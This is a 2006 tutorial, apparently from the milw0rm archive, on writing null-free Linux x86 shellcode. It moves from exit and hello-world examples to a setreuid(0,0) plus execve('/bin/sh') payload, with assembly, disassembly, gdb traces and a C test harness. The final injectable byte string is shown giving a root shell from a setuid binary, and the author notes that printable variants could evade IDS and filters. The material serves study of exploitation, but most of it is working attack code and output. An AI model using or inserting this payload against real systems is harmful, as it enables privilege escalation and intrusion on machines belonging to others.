|=-------------------=[ Introduction to Writing Shellcode ]=------------------=| |=----------------------------------------------------------------------------=| |=-------------------------=[ lhall@telegenetic.net ]=------------------------=| ----[ Introduction to writing shellcode. Shellcode is machine code that when executed spawns a shell, sometimes. Shellcode cannot have any null's in it because it is (usually) treated as a C string and a null will stop the reading of the string, as it is the string delimiter. Not all "shellcode" spawns a shell, this has become a more generic name for a bit of position independant machine readable code that can be directly executed by the cpu. Shellcode must always be position independant - you cannot access any values through static addresses, as these address will not be static in the program that is executing your shellcode - environment variables are the execption to this rule. Remember to always use the smallest part of a register possible to avoid null's, and xor is your friend. To test out the shellcode we will be using this C prog: char shellcode[] = ""; /* global array */ int main (int argc, char **argv) { int (*ret)(); /* ret is a function pointer */ ret = (int(*)())shellcode; /* ret points to our shellcode */ /* shellcode is type caste as a function */ (int)(*ret)(); /* execute, as a function, shellcode[] */ exit(0); /* exit() */ } Start off with a simple one, just exit. entropy@phalaris {~/asm/shellcode} cat exit.s .globl _start _start: xor %eax, %eax # xor anything with itself is 0, so %eax = 0 movb $1, %al # move byte 1 into al(a low), eax contains syscall number xor %ebx, %ebx # set ebx to 0, ebx contains return value int $0x80 # call kernel Assemble. entropy@phalaris {~/asm/shellcode} as exit.s -o exit.o Link. entropy@phalaris {~/asm/shellcode} ld exit.o -o exit Disassemble. entropy@phalaris {~/asm/shellcode} objdump -d exit exit: file format elf32-i386 Disassembly of section .text: 08048094 <_start>: 8048094: 31 c0 xor %eax,%eax 8048096: b0 01 mov $0x1,%al 8048098: 31 db xor %ebx,%ebx 804809a: cd 80 int $0x80 ^ ^ ^ Address Opcode / Machine Code Assembly What we are concerned with here is the machine code, so lets make a string out of it, it should look like this on my box: "\x31\xc0\xb0\x01\x31\xdb\xcd\x80" And put that into out test code so it looks like: char shellcode[] = "\x31\xc0\xb0\x01\x31\xdb\xcd\x80"; int main (int argc, char **argv) { int (*ret)(); /* ret is a function pointer */ ret = (int(*)())shellcode; /* ret points to our shellcode */ /* shellcode is type casted as a function */ (int)(*ret)(); /* execute as function shellcode[] */ /*exit(0);*/ /* exit() */ } Notice that I commented out the exit(0); as the shellcode will be preforming that for us. Compile and run. entropy@phalaris {~/asm/shellcode} gcc exit_test.c -o exit_test entropy@phalaris {~/asm/shellcode} ./exit_test entropy@phalaris {~/asm/shellcode} echo $? 0 So it looks like it executed correctly but how to be sure? We can strace it to see what syscall's it executing and look for exit or we can strp through it with gdb, we'll try both. entropy@phalaris {~/asm/shellcode} strace ./exit_test execve("./exit_test", ["./exit_test"], [/* 44 vars */]) = 0 brk(0) = 0x804a000 open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=59729, ...}) = 0 old_mmap(NULL, 59729, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40016000 close(3) = 0 open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0PS\1\000"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1201120, ...}) = 0 old_mmap(NULL, 1137860, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x40025000 mprotect(0x40134000, 27844, PROT_NONE) = 0 old_mmap(0x40135000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED| MAP_DENYWRITE, 3, 0x10f000) = 0x40135000 old_mmap(0x40139000, 7364, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED| MAP_ANONYMOUS,-1, 0) = 0x40139000 close(3) = 0 mprotect(0x40135000, 4096, PROT_READ) = 0 munmap(0x40016000, 59729) = 0 open("/dev/urandom", O_RDONLY) = 3 read(3, "}\30\374\7", 4) = 4 close(3) = 0 _exit(0) = ? Here we can see the first syscall execve executing out program, followed by the opening of the dynamic linker/loader ld.so (first preload then cache) to load shared libraries, followed by the opening of libc, followed by its idenitifcation as an ELF file ("\177ELF"), followed by our programing being memory mapped, and finally our call to exit. And for gdb recompile with debugging symbols. entropy@phalaris {~/asm/shellcode} gcc -g exit_test.c -o exit_test entropy@phalaris {~/asm/shellcode} gdb exit_test GNU gdb 6.3 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-pc-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disassemble main Dump of assembler code for function main: 0x08048340 : push %ebp 0x08048341 : mov %esp,%ebp 0x08048343 : sub $0x8,%esp 0x08048346 : and $0xfffffff0,%esp 0x08048349 : mov $0x0,%eax 0x0804834e : sub %eax,%esp 0x08048350 : movl $0x804955c,0xfffffffc(%ebp) 0x08048357 : mov 0xfffffffc(%ebp),%eax 0x0804835a : call *%eax 0x0804835c : leave 0x0804835d : ret End of assembler dump. (gdb) disas shellcode Dump of assembler code for function shellcode: 0x0804955c : xor %eax,%eax 0x0804955e : mov $0x1,%al 0x08049560 : xor %ebx,%ebx 0x08049562 : int $0x80 0x08049564 : add %al,(%eax) 0x08049566 : add %al,(%eax) End of assembler dump. At line: : movl $0x804955c,0xfffffffc(%ebp), the address of our shellcode is being put into the local variable -4(%ebp) (remeber that local variables are always subtracted from ebp and that 0xfffffffc = -4 in 2's complement). Then on the next line : mov 0xfffffffc(%ebp),%eax, that address is being put into %eax, and following : call *%eax, our shellcode is called to execute. If you look at the disassembly of shellcode ((gdb) disas shellcode) you will see that up until instruction that is our assembly we had for exit, so you can be sure that it is executing exit(). Now some shellcode to print a string, this is going to be more complex as now we have to know the issues in creating our shellcode. 1) You can not have nulls in your shellcode. 2) You can not use static addresses in your shellcode. Ok so if we have a string, say its "Hello, World\n", in our shellcode and we cannot use static addresses how can we possibly get the address of the string to write? If you remember that what the instruction call does, call pushes the next value following it (the return value normally) onto the stack then transfers control to the symbol following call. So if we put the address of our string directly after a call instruction, when call has transfered control to the symbol following it the address of our string will be on the top of the stack and we can just pop it off. Thats what we'll do. Also remeber that anything xor'ed with itself is going to be 0 so its a good way to get something 0 without a movl $0, %reg. Ok we are going to need a write, and an exit so lets get the syscall number and the function definition of these. entropy@phalaris {~/asm/shellcode} man 2 write [...snip...] ssize_t write(int fd, const void *buf, size_t count); [...snip...] write() takes the file descriptor to write to (we'll use STDOUT 1), an address of the string to write, and its length. entropy@phalaris {~/asm/shellcode} grep __NR_write /usr/include/asm/unistd.h #define __NR_write 4 And the write() syscall number is 4, and for exit... entropy@phalaris {~/asm/shellcode} man 2 exit [...snip...] void _exit(int status); [...snip...] exit() just takes the exit status, we use 0 for no errors. entropy@phalaris {~/asm/shellcode} grep __NR_exit /usr/include/asm/unistd.h #define __NR_exit 1 And exit() syscall number is 1. Lets check out the assembly. entropy@phalaris {~/asm/shellcode} cat hello.s .globl _start _start: jmp do_call # 1. jump down and do a call to get the address jmp_back: # 4. the call transfered control here xor %eax, %eax # 5. set eax to 0 xor %ebx, %ebx # 6. set ebx to 0 xor %ecx, %ecx # 7. set ecx to 0 xor %edx, %edx # 8. set edx to 0 movb $4, %al # 9. 4 is syscall number for write(int fd,char *str, int len) movb $14, %dl # 10. put 14 into dl(d low) its the string length popl %ecx # 11. pop the adrress off the stack, which is the string addr movb $1, %bl # 12. put 1 into bl(b low), its the fd to write to STDOUT int $0x80 # 13. call the kernel xor %eax, %eax # 14. set eax to 0 movb $1, %al # 15. 1 is syscall number for exit xor %ebx, %ebx # 16. set ebx to 0, its the return value int $0x80 # 17. call kernel do_call: # 2. about to execute the call, notice hello: symbol following call jmp_back # 3. now we have the address of hello on the stack jmp_back hello: .ascii "Hello, World!\n" So assemble, link and disassemble it. entropy@phalaris {~/asm/shellcode} as hello.s -o hello.o entropy@phalaris {~/asm/shellcode} ld hello.o -o hello entropy@phalaris {~/asm/shellcode} objdump -d hello hello: file format elf32-i386 Disassembly of section .text: 08048094 <_start>: 8048094: eb 19 jmp 80480af 08048096 : 8048096: 31 c0 xor %eax,%eax 8048098: 31 db xor %ebx,%ebx 804809a: 31 c9 xor %ecx,%ecx 804809c: 31 d2 xor %edx,%edx 804809e: b0 04 mov $0x4,%al 80480a0: b2 0e mov $0xe,%dl 80480a2: 59 pop %ecx 80480a3: b3 01 mov $0x1,%bl 80480a5: cd 80 int $0x80 80480a7: 31 c0 xor %eax,%eax 80480a9: b0 01 mov $0x1,%al 80480ab: 31 db xor %ebx,%ebx 80480ad: cd 80 int $0x80 080480af : 80480af: e8 e2 ff ff ff call 8048096 080480b4 : 80480b4: 48 dec %eax 80480b5: 65 gs 80480b6: 6c insb (%dx),%es:(%edi) 80480b7: 6c insb (%dx),%es:(%edi) 80480b8: 6f outsl %ds:(%esi),(%dx) 80480b9: 2c 20 sub $0x20,%al 80480bb: 57 push %edi 80480bc: 6f outsl %ds:(%esi),(%dx) 80480bd: 72 6c jb 804812b 80480bf: 64 21 0a and %ecx,%fs:(%edx) The assembly is all pretty understandable until you get down to the symbol, but if you take a look at an extended ascii chart it will be much clearer. 48 hex is, if you notice, a capital 'H', 65 hex is and 'e', 6c is an 'l' .... these hex chars are also machine code, they are just being interpereted differently. For example '31' can be interperted many different ways depending on how the programmer is representing it, if printing it out so as to represent it as a printable character as in printf("%c\n", 0x31); it print's '1' because as you can see the char '1' in hex according to the ascii chart is 31. If it is an opcode as in our disassembly above "31 c0 xor %eax,%eax" 31 is the machine code for the instruction 'xor'. Its important to rememeber this. So the assembly following the symbol is really: H e l l o , W o r l d ! \n 48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a Create the shellcode string from the disassembly, I have: eb 19 31 c0 31 db 31 c9 31 d2 b0 04 b2 0e 59 b3 01 cd 80 31 c0 b0 01 31 db cd 80 e8 e2 ff ff ff 48 65 6c 6c 6f 2c 20 57 6f 72 6c 64 21 0a And make a C string out of it, hex chars need a '\x' in front of them: "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb2\x0e\x59\xb3\x01 \xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65 \x6c\x6c\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a" Put it in a test file, compile and run it. entropy@phalaris {~/asm/shellcode} cat hello_test.c char shellcode[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04"\ "\xb2\x0e\x59\xb3\x01\xcd\x80\x31\xc0\xb0\x01\x31"\ "\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x48\x65\x6c\x6c"\ "\x6f\x2c\x20\x57\x6f\x72\x6c\x64\x21\x0a"; int main (int argc, char **argv) { int (*ret)(); /* ret is a function pointer */ ret = (int(*)())shellcode; /* ret points to our shellcode */ /* shellcode is type casted as a function */ (int)(*ret)(); /* execute as function shellcode[] */ exit(0); /* exit() */ } entropy@phalaris {~/asm/shellcode} gcc -g hello_test.c -o hello_test entropy@phalaris {~/asm/shellcode} ./hello_test Hello, World! entropy@phalaris {~/asm/shellcode} strace ./hello_test [...snip...] write(1, "Hello, World!\n", 14Hello, World! ) = 14 [...snip...] You can see the write syscall, and take a look at the disassembly in gdb. entropy@phalaris {~/asm/shellcode} gdb hello_test GNU gdb 6.3 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-pc-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disas shellcode Dump of assembler code for function shellcode: 0x080495c0 : jmp 0x80495db 0x080495c2 : xor %eax,%eax 0x080495c4 : xor %ebx,%ebx 0x080495c6 : xor %ecx,%ecx 0x080495c8 : xor %edx,%edx 0x080495ca : mov $0x4,%al 0x080495cc : mov $0xe,%dl 0x080495ce : pop %ecx 0x080495cf : mov $0x1,%bl 0x080495d1 : int $0x80 0x080495d3 : xor %eax,%eax 0x080495d5 : mov $0x1,%al 0x080495d7 : xor %ebx,%ebx 0x080495d9 : int $0x80 0x080495db : call 0x80495c2 0x080495e0 : dec %eax 0x080495e1 : gs 0x080495e2 : insb (%dx),%es:(%edi) 0x080495e3 : insb (%dx),%es:(%edi) 0x080495e4 : outsl %ds:(%esi),(%dx) 0x080495e5 : sub $0x20,%al 0x080495e7 : push %edi 0x080495e8 : outsl %ds:(%esi),(%dx) 0x080495e9 : jb 0x8049657 0x080495eb : and %ecx,%fs:(%edx) 0x080495ee : add %al,(%eax) End of assembler dump. Here again we can see our jump to the call "jmp 0x80495db ", and call pushes the next address which is 0x080495e0 (the start of our string) and jumps back to address 0x80495c2 which is ": xor %eax,%eax", and we now have the address we want on the top of the stack. So how about some real shellcode. First were goign to have to call setreuid() it 0 incase the program we are exploiting drops privs. Next we are going to have to call execve() to execute the shell namely /bin/sh. Again we need the syscall number and function parameters to both of these functions. entropy@phalaris {~/asm/shellcode} man 2 setreuid [...snip...] int setreuid(uid_t ruid, uid_t euid); [...snip...] entropy@phalaris {~/asm/shellcode} grep __NR_setreuid /usr/include/asm/unistd.h #define __NR_setreuid 70 Well this one is simple enough, just something like xor %eax, %eax # clear out eax movb $70, %al # mov 70 int al xor %ecx, %ecx # set ecx to 0, which is the uid_t euid (effective userid) xor %ebx, %ebx # set ebx to 0, which is the uid_t ruid (real userid) int $0x80 # call kernel That ones easy. Now for execve. entropy@phalaris {~/asm/shellcode} man 2 execve [...snip...] int execve(const char *filename, char *const argv [], char *const envp[]); [...snip...] Fun times, two char ** arguments. entropy@phalaris {~/asm/shellcode} grep __NR_execv* /usr/include/asm/unistd.h #define __NR_execve 11 Ok this ones a little harder. So were going to need a null terminated string, the address of the string and a * null pointer in adjacent memory, that should look something like: execve("/bin/sh", *"/bin/sh", (char **)NULL); And in memory /bin/shNXXXXYYYY where /bin/sh is our null terminated string (we must replace N with '\0'), XXXX (4 bytes) is the address of the address of our string, and YYYY (4 bytes) is the address of the envp[] pointer( which we are goign to call with *NULL). When we are all set to go %eax should have 11 in it, %ebx should have the string address in it, %ecx should have the address of %ebx in it and %edx should have the address of the (char **)NULL string in it. So lets code this, I ended up with this: .globl _start _start: # our setreuid(0,0) call xor %eax, %eax # clear out eax movb $70, %al # mov 70 int al xor %ecx, %ecx # set ecx to 0, which is the uid_t euid (effective userid) xor %ebx, %ebx # set ebx to 0, which is the uid_t ruid (real userid) int $0x80 # call kernel # go get the address with the call trick jmp do_call jmp_back: pop %ebx # ebx has the address of our string, use it to index xor %eax, %eax # set eax to 0 movb %al, 7(%ebx) # put a null at the N aka shell[7] movl %ebx, 8(%ebx) # put the address of our string (in ebx) into shell[8] movl %eax, 12(%ebx) # put the null at shell[12] # our string now looks like "/bin/sh\0(*ebx)(*0000)" which is what we want. xor %eax, %eax # clear out eax movb $11, %al # put 11 which is execve syscall number into al leal 8(%ebx), %ecx # put the address of XXXX aka (*ebx) into ecx leal 12(%ebx), %edx # put the address of YYYY aka (*0000) into edx int $0x80 # call kernel do_call: call jmp_back shell: .ascii "/bin/shNXXXXYYYY" entropy@phalaris {~/asm/shellcode} as shell.s -o shell.o entropy@phalaris {~/asm/shellcode} ld shell.o -o shell entropy@phalaris {~/asm/shellcode} ./shell Segmentation fault Thats odd, the code looks to be correct? Lets step through it, in order to break at _start with gdb we have to temporarily put a nop after the _start: label and assemble with -g. entropy@phalaris {~/asm/shellcode} cat shell.s .globl _start _start: # our setreuid(0,0) call nop xor %eax, %eax # clear out eax movb $70, %al # mov 70 int al xor %ecx, %ecx # set ecx to 0, which is the uid_t euid (effective userid) xor %ebx, %ebx # set ebx to 0, which is the uid_t ruid (real userid) int $0x80 # call kernel # go get the address with the call trick jmp do_call jmp_back: pop %ebx # ebx has the address of our string, use it to index xor %eax, %eax # set eax to 0 movb %al, 7(%ebx) # put a null at the N aka shell[7] movl %ebx, 8(%ebx) # put the address of our string (in ebx) into shell[8] movl %eax, 12(%ebx) # put the null at shell[12] # our string now looks like "/bin/sh\0(*ebx)(*0000)" which is what we want. xor %eax, %eax # clear out eax movb $11, %al # put 11 which is execve syscall number into al leal 8(%ebx), %ecx # put the address of XXXX aka (*ebx) into ecx leal 12(%ebx), %edx # put the address of YYYY aka (*0000) into edx int $0x80 # call kernel do_call: call jmp_back shell: .ascii "/bin/shNXXXXYYYY" entropy@phalaris {~/asm/shellcode} as -g shell.s -o shell.o entropy@phalaris {~/asm/shellcode} ld shell.o -o shell entropy@phalaris {~/asm/shellcode} gdb shell GNU gdb 6.3 Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-pc-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1". (gdb) break *_start+1 Breakpoint 1 at 0x8048095: file shell.s, line 5. (gdb) r Starting program: /home/entropy/asm/shellcode/shell Breakpoint 1, _start () at shell.s:5 5 xor %eax, %eax # clear out eax Current language: auto; currently asm (gdb) s _start () at shell.s:6 6 movb $70, %al # mov 70 int al (gdb) s _start () at shell.s:7 7 xor %ecx, %ecx # set ecx to 0, which is the uid_t euid (gdb) s _start () at shell.s:8 8 xor %ebx, %ebx # set ebx to 0, which is the uid_t ruid (gdb) s _start () at shell.s:9 9 int $0x80 # call kernel (gdb) s _start () at shell.s:11 11 jmp do_call (gdb) s do_call () at shell.s:25 25 call jmp_back (gdb) s jmp_back () at shell.s:13 13 pop %ebx # ebx has the address of our string (gdb) s jmp_back () at shell.s:14 14 xor %eax, %eax # set eax to 0 (gdb) s jmp_back () at shell.s:15 15 movb %al, 7(%ebx) # put a null at the N aka shell[7] (gdb) s Program received signal SIGSEGV, Segmentation fault. jmp_back () at shell.s:15 15 movb %al, 7(%ebx) # put a null at the N aka shell[7] (gdb) Program terminated with signal SIGSEGV, Segmentation fault. The program no longer exists. (gdb) quit entropy@phalaris {~/asm/shellcode} Ok thats odd were not allowed to write to our string? Why is that? Lets check out our sections: entropy@phalaris {~/asm/shellcode} objdump -x shell shell: file format elf32-i386 shell architecture: i386, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED start address 0x08048094 Program Header: LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x000000ce memsz 0x000000ce flags r-x LOAD off 0x000000d0 vaddr 0x080490d0 paddr 0x080490d0 align 2**12 filesz 0x00000000 memsz 0x00000000 flags rw- PAX_FLAGS off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags --- 2800 Sections: Idx Name Size VMA LMA File off Algn 0 .text 0000003a 08048094 08048094 00000094 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 1 .data 00000000 080490d0 080490d0 000000d0 2**2 CONTENTS, ALLOC, LOAD, DATA 2 .bss 00000000 080490d0 080490d0 000000d0 2**2 ALLOC 3 .debug_aranges 00000020 00000000 00000000 000000d0 2**3 CONTENTS, READONLY, DEBUGGING 4 .debug_info 00000051 00000000 00000000 000000f0 2**0 CONTENTS, READONLY, DEBUGGING 5 .debug_abbrev 00000014 00000000 00000000 00000141 2**0 CONTENTS, READONLY, DEBUGGING 6 .debug_line 00000043 00000000 00000000 00000155 2**0 CONTENTS, READONLY, DEBUGGING SYMBOL TABLE: 08048094 l d .text 00000000 080490d0 l d .data 00000000 080490d0 l d .bss 00000000 00000000 l d .debug_aranges 00000000 00000000 l d .debug_info 00000000 00000000 l d .debug_abbrev 00000000 00000000 l d .debug_line 00000000 00000000 l d *ABS* 00000000 00000000 l d *ABS* 00000000 00000000 l d *ABS* 00000000 080480b9 l .text 00000000 do_call 080480a1 l .text 00000000 jmp_back 080480be l .text 00000000 shell 08048094 g .text 00000000 _start 080490d0 g *ABS* 00000000 __bss_start 080490d0 g *ABS* 00000000 _edata 080490d0 g *ABS* 00000000 _end Here is the problem our shell string is in the .text or code section that is marked read only, as seen above: Sections: Idx Name Size VMA LMA File off Algn 0 .text 0000003a 08048094 08048094 00000094 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE Lets make our entire program in the .data section. entropy@phalaris {~/asm/shellcode} cat shell.s .section .data .globl _start _start: # our setreuid(0,0) call xor %eax, %eax # clear out eax movb $70, %al # mov 70 int al xor %ecx, %ecx # set ecx to 0, which is the uid_t euid (effective userid) xor %ebx, %ebx # set ebx to 0, which is the uid_t ruid (real userid) int $0x80 # call kernel # go get the address with the call trick jmp do_call jmp_back: pop %ebx # ebx has the address of our string, use it to index xor %eax, %eax # set eax to 0 movb %al, 7(%ebx) # put a null at the N aka shell[7] movl %ebx, 8(%ebx) # put the address of our string (in ebx) into shell[8] movl %eax, 12(%ebx) # put the null at shell[12] # our string now looks like "/bin/sh\0(*ebx)(*0000)" which is what we want. xor %eax, %eax # clear out eax movb $11, %al # put 11 which is execve syscall number into al leal 8(%ebx), %ecx # put the address of XXXX aka (*ebx) into ecx leal 12(%ebx), %edx # put the address of YYYY aka (*0000) into edx int $0x80 # call kernel do_call: call jmp_back shell: .ascii "/bin/shNXXXXYYYY" entropy@phalaris {~/asm/shellcode} as -g shell.s -o shell.o entropy@phalaris {~/asm/shellcode} ld shell.o -o shell entropy@phalaris {~/asm/shellcode} objdump -x shell shell: file format elf32-i386 shell architecture: i386, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED start address 0x08049094 Program Header: LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x00000094 memsz 0x00000094 flags r-x LOAD off 0x00000094 vaddr 0x08049094 paddr 0x08049094 align 2**12 filesz 0x00000039 memsz 0x0000003c flags rw- PAX_FLAGS off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags --- 2800 Sections: Idx Name Size VMA LMA File off Algn 0 .text 00000000 08048094 08048094 00000094 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 1 .data 00000039 08049094 08049094 00000094 2**2 CONTENTS, ALLOC, LOAD, DATA 2 .bss 00000000 080490d0 080490d0 000000cd 2**2 ALLOC 3 .debug_aranges 00000020 00000000 00000000 000000d0 2**3 CONTENTS, READONLY, DEBUGGING 4 .debug_info 00000051 00000000 00000000 000000f0 2**0 CONTENTS, READONLY, DEBUGGING 5 .debug_abbrev 00000014 00000000 00000000 00000141 2**0 CONTENTS, READONLY, DEBUGGING 6 .debug_line 00000042 00000000 00000000 00000155 2**0 CONTENTS, READONLY, DEBUGGING SYMBOL TABLE: 08048094 l d .text 00000000 08049094 l d .data 00000000 080490d0 l d .bss 00000000 00000000 l d .debug_aranges 00000000 00000000 l d .debug_info 00000000 00000000 l d .debug_abbrev 00000000 00000000 l d .debug_line 00000000 00000000 l d *ABS* 00000000 00000000 l d *ABS* 00000000 00000000 l d *ABS* 00000000 080490b8 l .data 00000000 do_call 080490a0 l .data 00000000 jmp_back 080490bd l .data 00000000 shell 08049094 g .data 00000000 _start 080490cd g *ABS* 00000000 __bss_start 080490cd g *ABS* 00000000 _edata 080490d0 g *ABS* 00000000 _end Ok much better now our shell string is in the data section 080490bd l .data 00000000 shell The .data section is not marked read only. 1 .data 00000039 08049094 08049094 00000094 2**2 CONTENTS, ALLOC, LOAD, DATA And try out he shell. entropy@phalaris {~/asm/shellcode} ./shell sh-2.05b$ exit exit So that works, now that we have all our code in the .data section to get our machine code we need to use the -D. First reassemble and link without debugging info. entropy@phalaris {~/asm/shellcode} as shell.s -o shell.o entropy@phalaris {~/asm/shellcode} ld shell.o -o shell chown and u+s it to make sure it wont drop privs. entropy@phalaris {~/asm/shellcode} sudo chown root shell entropy@phalaris {~/asm/shellcode} sudo chmod 4750 shell entropy@phalaris {~/asm/shellcode} ls -la shell -rwsr-x--- 1 root users 811 Sep 4 13:16 shell entropy@phalaris {~/asm/shellcode} ./shell sh-2.05b# id uid=0(root) gid=100(users) groups=6(disk),10(wheel),18(audio),100(users) sh-2.05b# Looks good, disassemble. entropy@phalaris {~/asm/shellcode} rm shell rm: remove write-protected regular file `shell'? y entropy@phalaris {~/asm/shellcode} as shell.s -o shell.o entropy@phalaris {~/asm/shellcode} ld shell.o -o shell entropy@phalaris {~/asm/shellcode} objdump -D shell shell: file format elf32-i386 Disassembly of section .data: 08049094 <_start>: 8049094: 31 c0 xor %eax,%eax 8049096: b0 46 mov $0x46,%al 8049098: 31 c9 xor %ecx,%ecx 804909a: 31 db xor %ebx,%ebx 804909c: cd 80 int $0x80 804909e: eb 18 jmp 80490b8 080490a0 : 80490a0: 5b pop %ebx 80490a1: 31 c0 xor %eax,%eax 80490a3: 88 43 07 mov %al,0x7(%ebx) 80490a6: 89 5b 08 mov %ebx,0x8(%ebx) 80490a9: 89 43 0c mov %eax,0xc(%ebx) 80490ac: 31 c0 xor %eax,%eax 80490ae: b0 0b mov $0xb,%al 80490b0: 8d 4b 08 lea 0x8(%ebx),%ecx 80490b3: 8d 53 0c lea 0xc(%ebx),%edx 80490b6: cd 80 int $0x80 080490b8 : 80490b8: e8 e3 ff ff ff call 80490a0 080490bd : 80490bd: 2f das 80490be: 62 69 6e bound %ebp,0x6e(%ecx) 80490c1: 2f das 80490c2: 73 68 jae 804912c <_end+0x5c> 80490c4: 4e dec %esi 80490c5: 58 pop %eax 80490c6: 58 pop %eax 80490c7: 58 pop %eax 80490c8: 58 pop %eax 80490c9: 59 pop %ecx 80490ca: 59 pop %ecx 80490cb: 59 pop %ecx 80490cc: 59 pop %ecx The machine code I get is: 31 c0 b0 46 31 c9 31 db cd 80 eb 18 5b 31 c0 88 43 07 89 5b 08 89 43 0c 31 c0 b0 0b 8d 4b 08 8d 53 0c cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 73 68 4e 58 58 58 58 59 59 59 59 We no longer need the NXXXXYYYY after /bin/sh as that was just to make it easier on us and to reserve space, remove that end end up with: 31 c0 b0 46 31 c9 31 db cd 80 eb 18 5b 31 c0 88 43 07 89 5b 08 89 43 0c 31 c0 b0 0b 8d 4b 08 8d 53 0c cd 80 e8 e3 ff ff ff 2f 62 69 6e 2f 73 68 Now we have the code that can be injected, lets try it on our test. entropy@phalaris {~/asm/shellcode} cat shell_test.c char shellcode[] = "\x31\xc0\xb0\x46\x31\xc9\x31\xdb\xcd\x80\xeb\x18\x5b"\ "\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x31\xc0"\ "\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe3\xff"\ "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main (int argc, char **argv) { int (*ret)(); /* ret is a function pointer */ ret = (int(*)())shellcode; /* ret points to our shellcode */ /* shellcode is type casted as a function */ (int)(*ret)(); /* execute as function shellcode[] */ exit(0); /* exit() */ } entropy@phalaris {~/asm/shellcode} gcc shell_test.c -o shell_test entropy@phalaris {~/asm/shellcode} sudo chown root shell_test entropy@phalaris {~/asm/shellcode} sudo chmod 4750 shell_test entropy@phalaris {~/asm/shellcode} ./shell_test sh-2.05b# id uid=0(root) gid=100(users) groups=6(disk),10(wheel),18(audio),100(users) sh-2.05b# whoami root sh-2.05b# exit exit entropy@phalaris {~/asm/shellcode} rm shell_test rm: remove write-protected regular file `shell_test'? y entropy@phalaris {~/asm/shellcode} Theres many ways to make this shell code smaller, and with shellcode the smaller the better. You can also make this shellcode consist of printable characters only, so it can slip through IDS and filters, but I'll save this for another time. # milw0rm.com [2006-04-08]